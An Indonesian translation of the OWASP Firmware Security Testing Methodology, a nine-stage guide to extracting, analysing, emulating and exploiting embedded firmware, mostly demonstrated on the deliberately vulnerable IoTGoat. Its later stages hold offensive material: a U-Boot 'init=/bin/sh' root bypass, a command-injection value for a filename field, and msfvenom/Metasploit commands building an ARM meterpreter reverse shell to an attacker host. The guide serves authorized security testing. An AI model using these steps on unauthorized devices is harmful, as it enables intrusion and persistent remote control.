owasp fstm
1.0.0
| keterangan |
|---|
FSTM terdiri dari sembilan tahap yang dirancang untuk memungkinkan peneliti keamanan, pengembang perangkat lunak, penghobi, dan profesional Keamanan Informasi dalam melakukan penilaian keamanan firmware. |
Baik tersambung ke jaringan atau mandiri, firmware adalah pusat kendali perangkat tertanam apa pun. Oleh karena itu, penting untuk memahami bagaimana firmware dapat dimanipulasi untuk menjalankan fungsi yang tidak sah dan berpotensi melumpuhkan keamanan ekosistem pendukung. Untuk mulai melakukan pengujian keamanan dan rekayasa balik firmware, gunakan metodologi berikut sebagai panduan saat memulai penilaian yang akan datang. Metodologi ini terdiri dari sembilan tahap yang dirancang untuk memungkinkan peneliti keamanan, pengembang perangkat lunak, konsultan, penghobi, dan profesional Keamanan Informasi dalam melakukan penilaian keamanan firmware.
| Panggung | Keterangan |
|---|---|
| 1. Pengumpulan dan pengintaian informasi | Dapatkan semua rincian teknis dan dokumentasi relatif yang berkaitan dengan firmware perangkat target |
| 2. Mendapatkan firmware | Dapatkan firmware menggunakan satu atau lebih metode yang diusulkan yang tercantum |
| 3. Menganalisis firmware | Periksa karakteristik firmware target |
| 4. Mengekstrak sistem file | Mengukir konten sistem file dari firmware target |
| 5. Menganalisis isi sistem file | Analisis secara statis file konfigurasi sistem file dan binari yang diekstraksi untuk mengetahui kerentanannya |
| 6. Meniru firmware | Meniru file dan komponen firmware |
| 7. Analisis dinamis | Lakukan pengujian keamanan dinamis terhadap firmware dan antarmuka aplikasi |
| 8. Analisis waktu proses | Analisis biner yang dikompilasi selama runtime perangkat |
| 9. Eksploitasi Biner | Memanfaatkan kerentanan yang teridentifikasi yang ditemukan pada tahap sebelumnya untuk mencapai root dan/atau eksekusi kode |
Bagian berikut akan merinci lebih lanjut setiap tahapan dengan contoh pendukung jika memungkinkan. Pertimbangkan untuk mengunjungi halaman Proyek OWASP Internet of Things dan repositori GitHub untuk pembaruan metodologi terkini dan rilis proyek mendatang.
Mesin virtual Ubuntu (EmbedOS) yang telah dikonfigurasi sebelumnya dengan alat pengujian firmware yang digunakan di seluruh dokumen ini dapat diunduh melalui tautan berikut. Detail mengenai alat EmbedOS dapat ditemukan di GitHub dalam repositori berikut https://github.com/scriptingxss/EmbedOS.
Pada tahap ini, kumpulkan informasi sebanyak mungkin tentang target untuk memahami komposisi keseluruhan teknologi yang mendasarinya. Cobalah untuk mengumpulkan yang berikut ini:
Informasi yang tercantum di atas harus dikumpulkan sebelum kerja lapangan pengujian keamanan melalui kuesioner atau formulir penerimaan. Pastikan untuk memanfaatkan tim pengembangan lini produk internal untuk memperoleh data yang akurat dan terkini. Memahami kontrol keamanan yang diterapkan serta item peta jalan, masalah keamanan yang diketahui, dan risiko yang paling mengkhawatirkan. Jika diperlukan, jadwalkan pendalaman lebih lanjut mengenai fitur-fitur tertentu yang dipermasalahkan. Penilaian paling berhasil dalam lingkungan kolaboratif.
Jika memungkinkan, peroleh data menggunakan alat dan teknik intelijen sumber terbuka (OSINT). Jika perangkat lunak sumber terbuka digunakan, unduh repositori dan lakukan analisis statis manual dan otomatis terhadap basis kode. Terkadang, proyek perangkat lunak sumber terbuka sudah menggunakan alat analisis statis gratis yang disediakan oleh vendor yang menyediakan hasil pemindaian seperti Coverity Scan dan LGTM Semmle. Misalnya, tangkapan layar di bawah ini menunjukkan cuplikan hasil Pemindaian Coverity Das U-Boot.
Gambar : Pemindaian Cakupan U-Boot
Gambar : Analisis Pemindaian Cakupan U-Boot
Di bawah ini adalah screenshot hasil Dropbear dari analisis LGTM.
Gambar : Peringatan Dropbear LGTM
Gambar : Hasil LGTM Dropbear
Dengan informasi yang ada, latihan model ancaman ringan harus dilakukan dengan memetakan permukaan serangan dan area dampak yang menunjukkan nilai paling besar jika terjadi kompromi.
Untuk mulai meninjau konten firmware, file gambar firmware harus diperoleh. Cobalah untuk mendapatkan konten firmware menggunakan satu atau lebih metode berikut:
*Catatan: Pastikan untuk mengikuti undang-undang dan peraturan setempat saat mengunduh data dari layanan penyimpanan penyedia cloud yang terbuka.
Masing-masing metode yang tercantum memiliki tingkat kesulitan yang berbeda-beda dan tidak boleh dianggap sebagai daftar yang lengkap. Pilih metode yang sesuai sesuai dengan tujuan proyek dan aturan keterlibatan. Jika memungkinkan, mintalah build debug dan build rilis firmware untuk memaksimalkan kasus penggunaan cakupan pengujian jika kode debug atau fungsionalitas dikompilasi dalam rilis.
Setelah gambar firmware diperoleh, jelajahi aspek file untuk mengidentifikasi karakteristiknya. Gunakan langkah-langkah berikut untuk menganalisis jenis file firmware, potensi metadata sistem file root, dan mendapatkan pemahaman tambahan tentang platform tempat file tersebut dikompilasi.
Manfaatkan utilitas seperti:
file <bin>
strings
strings -n5 <bin>
strings -n16 <bin>#longer than 16
strings -tx <bin> #print offsets in hex
binwalk <bin>
hexdump -C -n 512 <bin> > hexdump.out
hexdump -C <bin> | head # might find signatures in header
fdisk -lu <bin> #lists a drives partition and filesystems if multiple
Jika tidak ada metode di atas yang memberikan data berguna, hal berikut mungkin dilakukan:
Jika biner dapat dienkripsi, periksa entropinya menggunakan binwalk dengan perintah berikut:
$ binwalk -E <bin>
Entropi rendah = Tidak mungkin dienkripsi
Entropi tinggi = Kemungkinan dienkripsi (atau dikompresi dengan cara tertentu).
Alat alternatif juga tersedia menggunakan Binvis online dan aplikasi mandiri.
Tahap ini melibatkan pencarian ke dalam firmware dan penguraian data sistem file relatif untuk mulai mengidentifikasi sebanyak mungkin potensi masalah keamanan. Gunakan langkah-langkah berikut untuk mengekstrak konten firmware untuk meninjau kode yang belum dikompilasi dan konfigurasi perangkat yang digunakan pada tahap berikut. Metode ekstraksi otomatis dan manual ditunjukkan di bawah ini.
$ binwalk -ev <bin>
File akan diekstrak ke " _binaryname/filesystemtype/ "
Jenis sistem file: squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs
2a. Terkadang, binwalk tidak memiliki byte ajaib dari sistem file di tanda tangannya. Dalam kasus ini, gunakan binwalk untuk menemukan offset sistem file dan mengukir sistem file terkompresi dari biner dan mengekstrak sistem file secara manual sesuai dengan jenisnya menggunakan langkah-langkah di bawah ini.
$ binwalk DIR850L_REVB.bin
DECIMAL HEXADECIMAL DESCRIPTION
----------------------------------------------------------------------------- ---
0 0x0 DLOB firmware header, boot partition: """"dev=/dev/mtdblock/1""""
10380 0x288C LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 5213748 bytes
1704052 0x1A0074 PackImg section delimiter tag, little endian size: 32256 bytes; big endian size: 8257536 bytes
1704084 0x1A0094 Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 8256900 bytes, 2688 inodes, blocksize: 131072 bytes, created: 2016-07-12 02:28:41
2b. Jalankan perintah dd berikut untuk mengukir sistem file Squashfs.
$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
8257536+0 records in
8257536+0 records out
8257536 bytes (8.3 MB, 7.9 MiB) copied, 12.5777 s, 657 kB/s
Alternatifnya, perintah berikut juga bisa dijalankan.
$ dd if=DIR850L_REVB.bin bs=1 skip=$((0x1A0094)) of=dir.squashfs
2c. Untuk squashfs (digunakan pada contoh di atas)
$ unsquashfs dir.squashfs
File akan berada di direktori " squashfs-root " setelahnya.
2d. File arsip CPIO
$ cpio -ivd --no-absolute-filenames -F <bin>
2f. Untuk sistem file jffs2
$ jefferson rootfsfile.jffs2
2d. Untuk sistem file ubifs dengan flash NAND
$ ubireader_extract_images -u UBI -s <start_offset> <bin>
$ ubidump.py <bin>
Selama tahap ini, petunjuk dikumpulkan untuk tahap analisis dinamis dan runtime. Selidiki apakah firmware target berisi yang berikut ini (tidak lengkap):
Analisis secara statis konten sistem file dan kode yang belum dikompilasi secara manual atau memanfaatkan alat otomatisasi seperti firmwalker yang mengurai hal berikut:
Subbagian berikut memperkenalkan alat analisis firmware otomatis sumber terbuka.
Jalankan firmwalker di dalam direktorinya di ~/tools/firmwalker dan arahkan firmwalker ke jalur absolut dari direktori root sistem file yang diekstraksi. Firmwalker menggunakan informasi di direktori "/data/” untuk menguraikan aturan. Garpu khusus yang dimodifikasi oleh Aaron Guzman dengan pemeriksaan tambahan dapat ditemukan di GitHub di https://github.com/scriptingxss/firmwalker. Contoh berikut menunjukkan penggunaan firmwalker yang digunakan pada IoTGoat OWASP. Proyek firmware rentan tambahan tercantum di bagian Firmware rentan di akhir dokumen.
$ ./firmwalker.sh /home/embedos/firmware/ _IoTGoat-rpi-2.img.extracted/squashfs-root/
Lihat keluaran firmwalker di bawah ini.
Dua file akan dihasilkan, firmwalker.txt dan firmwalkerappsec.txt. File keluaran ini harus ditinjau secara manual.
Untungnya, tersedia beberapa alat analisis firmware otomatis sumber terbuka. Fitur FACT antara lain sebagai berikut:
Identifikasi komponen perangkat lunak seperti sistem operasi, arsitektur CPU, dan komponen pihak ketiga beserta informasi versi terkaitnya
Ekstraksi sistem file firmware dari gambar
Deteksi sertifikat dan kunci pribadi
Deteksi implementasi yang lemah dan pemetaan ke Common Weakness Enumeration (CWE)
Deteksi kerentanan berbasis umpan & tanda tangan
Analisis perilaku statis dasar
Perbandingan (perbedaan) versi dan file firmware
Emulasi mode pengguna biner sistem file menggunakan QEMU
Deteksi mitigasi biner seperti NX, DEP, ASLR, stack canaries, RELRO, dan FORTIFY_SOURCE
API REST
dan banyak lagi...
Di bawah ini adalah petunjuk untuk menggunakan perangkat perbandingan analisis firmware dalam mesin virtual pendamping yang telah dikonfigurasi sebelumnya.
Tip: Dianjurkan untuk menjalankan FACT dengan komputer yang memiliki 16 Cores 64GB RAM meskipun alat ini dapat berjalan dengan minimal 4 core dan 8GB RAM dengan kecepatan yang jauh lebih lambat. Hasil keluaran pemindaian bervariasi berdasarkan alokasi sumber daya yang diberikan ke mesin virtual. Semakin banyak sumber daya, semakin cepat FACT menyelesaikan pengiriman pemindaian.
$ cd ~/tools/FACT_core/
$ sudo ./start_all_installed_fact_components
Navigasi ke http://127.0.0.1:5000 di browser
Gambar : Dasbor FAKTA
Unggah komponen firmware ke FACT untuk dianalisis. Pada tangkapan layar di bawah, firmware lengkap terkompresi dengan sistem file root akan diunggah dan dianalisis.
Gambar : Unggahan FAKTA
Bergantung pada sumber daya perangkat keras yang diberikan kepada FACT, hasil analisis akan muncul beserta hasil pemindaiannya pada waktu tertentu. Proses ini dapat memakan waktu berjam-jam jika sumber daya yang dialokasikan minimal.
Gambar : FAKTA IoTGoat
Gambar : FAKTA Hasil Mitigasi Eksploitasi IoTGoat
Bongkar biner target yang dicurigai dengan data yang dikumpulkan dari FACT menggunakan IDA Pro, Ghidra, Hopper, Capstone, atau Binary Ninja. Analisis biner untuk kemungkinan panggilan sistem eksekusi kode jarak jauh, string, daftar fungsi, kerentanan kerusakan memori, dan identifikasi Xrefs ke system() atau panggilan fungsi serupa. Catat potensi kerentanan yang akan digunakan untuk langkah selanjutnya.
Tangkapan layar berikut menunjukkan biner “shellback” yang dibongkar menggunakan Ghidra.
Gambar : Analisis Shellback Ghidra
Analisis biner umum terdiri dari tinjauan berikut:
$ readelf -aW bin/*| grep stack_chk_fail$ mips-buildroot-linux-uclibc-objdump -d bin/binary | grep stack_chk_fail$ readelf -h <bin> | grep -q 'Type:[[:space:]]*EXEC'$ readelf -h <bin> | grep 'Type:[[:space:]]*DYN'$ readelf -d <bin> | grep -q 'DEBUG'$ readelf --syms <bin>$ nm <bin>-el menentukan karakter little-endian dengan lebar 16-bit (misalnya UTF-16).-eb untuk big endian-t akan mengembalikan offset string di dalam file.-tx akan mengembalikannya dalam format hex, T-to dalam oktal dan -td dalam desimal.strings -n5 <bin>strings -el <bin>strings -n16 <bin>strings -tx <bin>$ readelf -lW bin/<bin>| grep STACK GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x4
'E' menunjukkan bahwa tumpukan dapat dieksekusi.
$ execstack bin/*
X bin/ash
X bin/busybox
$ readelf -d binary | grep BIND_NOW$ readelf -d binary | grep GNU_RELROSkrip yang mengotomatiskan pemeriksaan banyak properti biner di atas adalah checksec.sh. Di bawah ini adalah dua contoh penggunaan skrip.
> ./checksec --file=/home/embedos/firmware/_IoTGoat-x86-generic-combined-squashfs.img.extracted/squashfs-root/bin/busybox
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH No Symbols No 0 0 /home/embedos/firmware/_IoTGoat-x86-generic-combined-squashfs.img.extracted/squashfs-root/bin/busybox
> ./checksec --file=/home/embedos/firmware/_IoTGoat-x86-generic-combined-squashfs.img.extracted/squashfs-root/usr/bin/shellback
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH No Symbols No 0 0 /home/embedos/firmware/_IoTGoat-x86-generic-combined-squashfs.img.extracted/squashfs-root/usr/bin/shellback
Gambar : Checksec.sh
Untuk biner Microsoft (EXE & DLL), gunakan PESecurity untuk memeriksa ASLR, DEP, SafeSEH, StrongNaming, Authenticode, Control Flow Guard, dan HighEntropyVA.
EMBA dirancang sebagai alat analisis firmware inti untuk penguji penetrasi. Ini mendukung proses analisis keamanan penuh, dimulai dengan ekstraksi firmware , analisis statis dan analisis dinamis melalui emulasi hingga menghasilkan laporan berbasis web untuk analisis lebih lanjut. Diluncurkan dengan satu perintah, EMBA secara otomatis menemukan potensi titik lemah dan kerentanan dalam firmware yang diuji, seperti biner yang tidak aman, komponen perangkat lunak lama dan ketinggalan jaman, skrip yang berpotensi rentan, atau kata sandi yang dikodekan secara keras.
Fitur-fitur EMBA antara lain sebagai berikut:
EMBA menggunakan beberapa alat lain di latar belakang. Sumber daya sistem yang dibutuhkan sangat bergantung pada firmware yang akan Anda analisis. Biasanya EMBA berjalan cukup lancar di lingkungan berikut:
Untuk menginstal lingkungan yang diperlukan, Anda harus menjalankan skrip instalasi dengan izin root:
sudo ./installer.sh -d Anda harus menggunakan saklar -d dengan penginstal untuk menjalankan instalasi biasa. Ini akan menginstal dependensi yang diperlukan (misalnya pencarian cve) pada host dan akan mengunduh image buruh pelabuhan EMBA . Kami merekomendasikan penggunaan ini untuk instalasi awal.
Setelah proses instalasi selesai, EMBA dapat digunakan untuk analisis keamanan firmware dari baris perintah. Sebelum memulai EMBA, silakan unduh firmware pengujian seperti firmware OWASP IoTGoat. Perintah berikut menunjukkan perintah EMBA yang khas:
sudo ./emba.sh -f ~ /IoTGoat-x86.img.gz -l ~ /emba_logs_iotgoat -p ./scan-profiles/default-scan.embaPerintah yang ditampilkan mengonfigurasi opsi dasar berikut:
Opsi lebih lanjut tersedia dan dapat dilihat melalui ./emba.sh -h
Langkah pertama dari setiap pengujian firmware adalah pemeriksaan kesehatan instalasi saat ini:
Setelah pemeriksaan kesehatan berhasil, proses analisis dimulai dengan identifikasi dan ekstraksi firmware yang dikonfigurasi:
Saat menguji firmware, semua hasil dan status terkini ditampilkan langsung di terminal. Karena pemindaian biasa akan dijalankan dalam mode berulir ( -t parameter ), keluaran ini akan kacau dan tidak mudah dibaca. Untuk analisis lebih lanjut, disarankan untuk menggunakan file log berbasis teks yang dihasilkan di direktori log dan laporan web ( parameter -W ). Setelah menyelesaikan pemindaian firmware, EMBA menampilkan ringkasan hasil di terminal:
Hasil lebih lanjut tersedia di direktori log dan dapat dianalisis pada baris perintah atau melalui browser web:
firefox ~ /emba_logs_iotgoat/html-report/index.html
Laporan HTML yang dihasilkan bersifat mandiri dan dapat dibagikan dengan mudah. Selain itu, laporan ini sepenuhnya interaktif dan dimungkinkan untuk menjangkau semua detail pengujian melalui dasbor ringkasan gabungan.
Rincian lebih lanjut tersedia di repositori resmi EMBA git .
EMBArk adalah antarmuka perusahaan berbasis web untuk pemindai keamanan firmware EMBA . Ini dikembangkan untuk menyediakan penganalisis keamanan firmware EMBA sebagai layanan dalam container dan untuk memudahkan akses ke backend pemindaian firmware EMBA apa pun sistem dan sistem operasinya.
Selanjutnya EMBArk meningkatkan penyediaan data dengan menggabungkan berbagai hasil pemindaian dalam dashboard manajemen agregat.
Pada halaman detail semua pemindaian, Anda dapat mengakses laporan detail pemindaian firmware, memulai pengujian lebih lanjut, dan mengunduh log pemindaian:
Detail lebih lanjut dengan hasil utama setiap pengujian firmware tersedia di laporan terperinci:
Informasi lebih lanjut tersedia di repositori resmi EMBArk git .
Catatan: EMBArk sedang dalam tahap pengembangan yang sangat awal.
Dengan menggunakan detail dan petunjuk yang diidentifikasi pada langkah sebelumnya, firmware serta binari yang dienkapsulasi harus ditiru untuk memverifikasi potensi kerentanan. Untuk mencapai emulasi firmware, ada beberapa pendekatan yang tercantum di bawah ini.
/usr/bin/shellbackUntuk mulai meniru biner sebagian, arsitektur dan endianness CPU harus diketahui untuk memilih biner emulasi QEMU yang sesuai pada langkah-langkah berikut.
$ binwalk -Y <bin>
$ readelf -h <bin>
el - endian kecil
eb - endian besar
Binwalk dapat digunakan untuk mengidentifikasi endianness untuk biner firmware yang dikemas (bukan dari biner dalam firmware yang diekstraksi) menggunakan perintah di bawah ini.
$ binwalk -Y UPG_ipc8120p-w7-M20-hi3516c-20160328_165229.ov
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
3480 0xD98 ARM executable code, 32-bit, little endian, at least 1154 valid instructions
Setelah arsitektur CPU dan endianness teridentifikasi, cari biner QEMU yang sesuai untuk melakukan emulasi parsial (Bukan untuk meniru firmware lengkap, tetapi biner dengan firmware yang diekstraksi.)
Biasanya, di:
/usr/local/qemu-arch atau /usr/bin/qemu-arch
Salin biner QEMU yang berlaku ke sistem file root yang diekstraksi. Perintah kedua menunjukkan penyalinan biner QEMU lengan statis ke sistem file root yang diekstraksi dalam shell ZSH yang menunjukkan jalur absolut.
> cp /usr/local/qemu-arch /extractedrootFS/
/home/embedos/firmware/_DIR850L_REVB_FW207WWb05_h1ke_beta1.decrypted.extracted/squashfs-root
> cp /usr/bin/qemu-arm-static .
Jalankan biner ARM (atau arch yang sesuai) untuk ditiru menggunakan QEMU dan chroot dengan perintah berikut:
$ sudo chroot . ./qemu-arch <binarytoemulate>
Contoh berikut menunjukkan Busybox ditiru dalam arsitektur x64 tipikal yang mungkin digunakan oleh mesin penyerang.
> sudo chroot . ./qemu-arm-static bin/busybox ls
[sudo] password for embedos:
bin etc overlay rom sys var
dev lib proc root tmp www
dnsmasq_setup.sh mnt qemu-arm-static sbin usr
Di bawah ini adalah contoh meniru layanan yang mendengarkan pada port 5515.
> sudo chroot . ./qemu-arm-static usr/bin/shellback
Selain itu, layanan yang sama dapat ditiru dengan kerangka qiling.
> ./qltool run --console False -f ~/_IoTGoat-x86.img.extracted/squashfs-root/usr/bin/shellback --rootfs ~/_IoTGoat-x86.img.extracted/squashfs-root
Di terminal lain, periksa apakah layanan mendengarkan secara lokal dan coba sambungkan dengan netcat.
> sudo lsof -i :5515
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
qemu-arm- 13264 root 3u IPv4 662221 0t0 TCP *:5515 (LISTEN)
> nc -nv 127.0.0.1 5515
Connection to 127.0.0.1 5515 port [tcp/*] succeeded!
[***]Successfully Connected to IoTGoat's Backdoor[***]
Terkadang, permintaan dikirim ke biner CGI oleh server HTTP. Dengan hanya meniru biner CGI, dimungkinkan untuk menganalisis prosedur proses atau memverifikasi kerentanan tanpa menyiapkan server HTTP. Contoh berikut mengeluarkan permintaan GET ke biner MIPS CGI.
~/DIR850L/squashfs-root/htdocs/web$ ls -l captcha.cgi
lrwxrwxrwx 1 root root 14 Oct 17 2017 captcha.cgi -> /htdocs/cgibin
# fix the broken symbolic link
~/DIR850L/squashfs-root/htdocs/web$ rm captcha.cgi && ln -s ../cgibin captcha.cgi
~/DIR850L/squashfs-root$ sudo chroot . ./qemu-mips-static -E REQUEST_METHOD="GET" -E REQUEST_URI="/captcha.cgi" -E REMOTE_ADDR="192.168.1.1" -E CONTENT_TYPE="text/html" /htdocs/web/captcha.cgi
HTTP/1.1 200 OK
Content-Type: text/xml
<?xml version="1.0" encoding="utf-8"?><captcha>
<result>FAIL</result><message>NO SESSION</message>
</captcha>
Dengan biner target yang ditiru, berinteraksilah dengan penerjemah atau layanan pendengarannya. Fuzz aplikasi dan antarmuka jaringannya seperti yang dijelaskan pada fase berikutnya.
Jika memungkinkan, gunakan alat otomatisasi seperti firmadyne, perangkat analisis firmware, atau Kerangka Kerja Emulasi Firmware ARM-X untuk melakukan emulasi firmware secara penuh. Alat-alat ini pada dasarnya adalah pembungkus untuk QEMU dan fungsi lingkungan lainnya seperti nvram.
Menggunakan perangkat analisis firmware, cukup jalankan perintah berikut:
sudo python3 ./fat.py IoTGoat-rpi-2.img --qemu 2.5.0
__ _
/ _| | |
| |_ __ _ | |_
| _| / _` | | __|
| | | (_| | | |_
|_| __,_| __|
Welcome to the Firmware Analysis Toolkit - v0.3
Offensive IoT Exploitation Training http://bit.do/offensiveiotexploitation
By Attify - https://attify.com | @attifyme
[+] Firmware: IoTGoat-rpi-2.img
[+] Extracting the firmware...
[+] Image ID: 1
[+] Identifying architecture...
[+] Architecture: armel
[+] Building QEMU disk image...
[+] Setting up the network connection, please standby...
[+] Network interfaces: [('eth0', '192.168.1.1')]
[...]
Adding route to 192.168.1.1...
Starting firmware emulation... use Ctrl-a + x to exit
[ 0.000000] Booting Linux on physical CPU 0x0
[ 0.000000] Linux version 4.1.17+ (vagrant@vagrant-ubuntu-trusty-64) (gcc version 5.3.0 (GCC) ) #1 Thu Feb 18 01:05:21 UTC 2016
[ 0.000000] CPU: ARMv7 Processor [412fc0f1] revision 1 (ARMv7), cr=10c5387d
[ 0.000000] CPU: PIPT / VIPT nonaliasing data cache, PIPT instruction cache
BusyBox v1.28.4 () built-in shell (ash)
.--,\__
██████╗ ██╗ ██╗ █████╗ ███████╗██████╗ `-. a`-.__
██╔═══██╗██║ ██║██╔══██╗██╔════╝██╔══██╗ | ')
██║ ██║██║ █╗ ██║███████║███████╗██████╔╝ / _.-'-,`;
██║ ██║██║███╗██║██╔══██║╚════██║██╔═══╝ / | { /
╚██████╔╝╚███╔███╔╝██║ ██║███████║██║ / | { /
╚═════╝ ╚══╝╚══╝ ╚═╝ ╚═╝╚══════╝╚═╝ ..-"``~"-' ; )
╦┌─┐╔╦╗╔═╗┌─┐┌─┐┌┬┐ ;' `
║│ │ ║ ║ ╦│ │├─┤ │ ;' `
╩└─┘ ╩ ╚═╝└─┘┴ ┴ ┴ ;' `
------------------------------------------------------------ ;'
GitHub: https://github.com/OWASP/IoTGoat
------------------------------------------------------------
root@IoTGoat:/#
Catatan: Modifikasi pada alat ini mungkin diperlukan jika firmware berisi kompresi yang tidak biasa, sistem file, atau arsitektur yang tidak didukung.
Pada tahap ini, lakukan pengujian dinamis saat perangkat berjalan di lingkungan normal atau lingkungan teremulasi. Tujuan pada tahap ini dapat bervariasi tergantung pada proyek dan tingkat akses yang diberikan. Biasanya, hal ini melibatkan gangguan konfigurasi bootloader, pengujian web dan API, fuzzing (layanan jaringan dan aplikasi), serta pemindaian aktif menggunakan berbagai perangkat untuk memperoleh akses yang lebih tinggi (root) dan/atau eksekusi kode.
Alat yang mungkin berguna adalah (tidak lengkap):
Referensi metodologi web standar industri seperti Panduan Pengujian OWASP dan Standar Verifikasi Keamanan Aplikasi (ASVS).
Area khusus yang perlu ditinjau dalam aplikasi web perangkat tertanam adalah sebagai berikut:
Tergantung pada produk dan antarmuka aplikasinya, kasus pengujian akan berbeda.
Saat memodifikasi pengaktifan perangkat dan bootloader seperti U-boot, coba lakukan hal berikut:
init=/bin/sh ' di akhir argumen boot#printenv#setenv bootargs=console=ttyS0,115200 mem=63M root=/dev/mtdblock3mtdparts=sflash:<partitiionInfo> rootfstype=<fstype> hasEeprom=0 5srst=0 int=/bin/sh#saveenv#boot#setenv ipaddr 192.168.2.2 #local IP of the device#setenv serverip 192.168.2.1 #tftp server IP#saveenv#reset#ping 192.168.2.1 #check if network access is available#tftp ${loadaddr} uImage-3.6.35 #loadaddr takes two arguments: the address to load the file into and the filename of the image on the TFTP serverubootwrite.py untuk menulis uboot-image dan dorong firmware yang dimodifikasi untuk mendapatkan rootFILENAME ' dengan perintah injeksi perintah seperti 'a";/bin/sh;#' untuk menguji validasi input untuk prosedur pengaktifan perangkat.* Pengujian keamanan perangkat keras
Mencoba mengunggah firmware khusus dan/atau binari yang dikompilasi untuk mengetahui kelemahan integritas atau verifikasi tanda tangan. Misalnya, kompilasi shell pengikat pintu belakang yang dimulai saat boot menggunakan langkah-langkah berikut.
Jika shell root telah diperoleh dari analisis dinamis, manipulasi bootloader, atau pengujian keamanan perangkat keras, cobalah untuk mengeksekusi biner berbahaya yang telah dikompilasi seperti implan atau shell terbalik. Pertimbangkan untuk menggunakan alat muatan/implan otomatis yang digunakan untuk kerangka perintah dan kontrol (C&C). Misalnya, kerangka Metasploit dan 'msfvenom' dapat dimanfaatkan menggunakan langkah-langkah berikut.
msfvenom untuk menentukan payload target yang sesuai (-p), IP host penyerang (LHOST=), nomor port mendengarkan (LPORT=) jenis file (-f), arsitektur (--arch), platform (--platform linux atau windows) , dan file keluaran (-o). Misalnya, msfvenom -p linux/armle/meterpreter_reverse_tcp LHOST=192.168.1.245 LPORT=4445 -f elf -o meterpreter_reverse_tcp --arch armle --platform linuxset payload linux/armle/meterpreter_reverse_tcpset LHOST 192.168.1.245 #attacker host IPset LPORT 445 #can be any unused portset ExitOnSession falseexploit -j -zJika memungkinkan, identifikasi kerentanan dalam skrip startup untuk mendapatkan akses terus-menerus ke perangkat saat reboot. Kerentanan tersebut muncul ketika skrip startup merujuk, menghubungkan secara simbolis, atau bergantung pada kode yang terletak di lokasi terpasang yang tidak tepercaya seperti kartu SD, dan volume flash yang digunakan untuk penyimpanan data di luar sistem file root.
Analisis runtime melibatkan lampiran ke proses yang sedang berjalan atau biner saat perangkat berjalan di lingkungan normal atau lingkungan yang ditiru. Langkah-langkah analisis runtime dasar disediakan di bawah ini:
sudo chroot . ./qemu-arch -L <optionalLibPath> -g <gdb_port> <binary>Alat yang mungkin berguna adalah (tidak lengkap):
Setelah mengidentifikasi kerentanan dalam biner dari langkah sebelumnya, bukti konsep (PoC) yang tepat diperlukan untuk menunjukkan dampak dan risiko di dunia nyata. Mengembangkan kode eksploitasi memerlukan pengalaman pemrograman dalam bahasa tingkat rendah (misalnya ASM, C/C++, shellcode, dll.) serta latar belakang dalam arsitektur target tertentu (misalnya MIPS, ARM, x86, dll.). Kode PoC melibatkan eksekusi sewenang-wenang pada perangkat atau aplikasi dengan mengendalikan instruksi di memori.
Perlindungan waktu proses biner (misalnya NX, DEP, ASLR, dll.) tidak umum diterapkan pada sistem tertanam, namun bila hal ini terjadi, teknik tambahan mungkin diperlukan seperti pemrograman berorientasi pengembalian (ROP). ROP memungkinkan penyerang untuk mengimplementasikan fungsi jahat yang sewenang-wenang dengan merangkai kode yang ada dalam proses target/kode biner yang dikenal sebagai gadget. Langkah-langkah perlu diambil untuk mengeksploitasi kerentanan yang teridentifikasi seperti buffer overflow dengan membentuk rantai ROP. Alat yang berguna untuk situasi seperti ini adalah pencari gadget Capstone atau ROPGadget- https://github.com/JonathanSalwan/ROPgadget.
Gunakan referensi berikut untuk panduan lebih lanjut:
Kombinasi alat akan digunakan selama penilaian firmware. Tercantum di bawah ini, adalah alat yang umum digunakan.
Untuk berlatih menemukan kerentanan dalam firmware, gunakan proyek firmware rentan berikut sebagai titik awal.
Umpan balik dan kontribusi
Jika Anda ingin berkontribusi atau memberikan masukan untuk menyempurnakan metodologi ini, hubungi [email protected] (@scriptingxss). Pastikan untuk membuka masalah atau permintaan penarikan, dan kami akan memastikan untuk menanganinya!
Terima kasih khusus kepada sponsor kami Cisco Meraki, OWASP Inland Empire, dan OWASP Los Angeles serta José Alejandro Rivas Vidal atas tinjauan cermatnya.
Daftar lengkap kontributor dapat ditemukan melalui https://github.com/scriptingxss/owasp-fstm/graphs/contributors.
Lisensi
Creative Commons Attribution Share sama 4.0 International
